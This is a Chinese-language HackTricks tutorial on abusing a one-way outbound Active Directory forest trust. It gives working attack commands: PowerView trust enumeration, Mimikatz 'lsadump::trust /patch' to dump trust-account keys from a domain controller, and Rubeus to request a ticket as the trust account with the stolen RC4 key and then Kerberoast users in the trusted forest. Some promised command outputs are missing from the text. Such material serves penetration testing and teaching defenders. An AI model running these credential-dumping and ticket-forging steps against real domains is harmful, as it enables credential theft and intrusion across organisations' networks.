7 KiB
外部森林域 - 单向(出站)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
在这种情况下,你的域信任来自不同域的某些特权。
枚举
出站信任
# Notice Outbound trust
Get-DomainTrust
SourceName : root.local
TargetName : ext.local
TrustType : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection : Outbound
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
# Lets find the current domain group giving permissions to the external domain
Get-DomainForeignGroupMember
GroupDomain : root.local
GroupName : External Users
GroupDistinguishedName : CN=External Users,CN=Users,DC=DOMAIN,DC=LOCAL
MemberDomain : root.io
MemberName : S-1-5-21-1028541967-2937615241-1935644758-1115
MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=ForeignSecurityPrincipals,DC=DOMAIN,DC=LOCAL
## Note how the members aren't from the current domain (ConvertFrom-SID won't work)
信任账户攻击
当从域_B_到域_A_(_B_信任A)建立Active Directory域或森林信任时,在域A中创建了一个名为B. Kerberos trust keys的信任账户,该账户的密码派生出来的信任账户的密码用于加密跨域TGTs,当域A的用户请求域B中的服务票证时。
可以通过以下方式从域控制器获取信任账户的密码和哈希值:
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
风险是因为启用了信任账户B$,B$的主要组是域A的域用户,对域用户授予的任何权限都适用于B$,可以使用B$的凭据对域A进行身份验证。
{% hint style="warning" %} 因此,从信任域中可以获取到受信任域内的用户。这个用户可能没有很多权限(可能只有域用户权限),但你将能够枚举外部域。 {% endhint %}
在这个例子中,信任域是ext.local
,受信任域是root.local
。因此,在root.local
中创建了一个名为EXT$
的用户。
# Use mimikatz to dump trusted keys
lsadump::trust /patch
# You can see in the output the old and current credentials
# You will find clear text, AES and RC4 hashes
因此,此时我们拥有 root.local\EXT$
的当前 明文密码和Kerberos秘密密钥。root.local\EXT$
的Kerberos AES秘密密钥与AES信任密钥相同,只是使用了不同的盐,但 RC4密钥是相同的。因此,我们可以使用从ext.local转储的RC4信任密钥来对 root.local
进行身份验证,作为 root.local\EXT$
。
.\Rubeus.exe asktgt /user:EXT$ /domain:root.local /rc4:<RC4> /dc:dc.root.local /ptt
通过这个方法,你可以开始枚举该域,并且甚至可以对用户进行Kerberoasting攻击:
.\Rubeus.exe kerberoast /user:svc_sql /domain:root.local /dc:dc.root.local
收集明文信任密码
在之前的流程中,使用了信任哈希而不是明文密码(也被mimikatz转储)。
可以通过将mimikatz的[ CLEAR ]输出从十六进制转换并删除空字节‘\x00’来获取明文密码:
有时在创建信任关系时,用户必须输入信任密码。在这个演示中,关键是原始的信任密码,因此是可读的。随着密钥的循环(30天),明文将不再是可读的,但从技术上仍然可用。
明文密码可以用于以信任账户的身份执行常规身份验证,这是一种使用信任账户的Kerberos密钥请求TGT的替代方法。在这里,从ext.local查询root.local的Domain Admins成员:
参考资料
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一家网络安全公司工作吗?想要在HackTricks中为你的公司做广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组 或 Telegram群组 或 关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。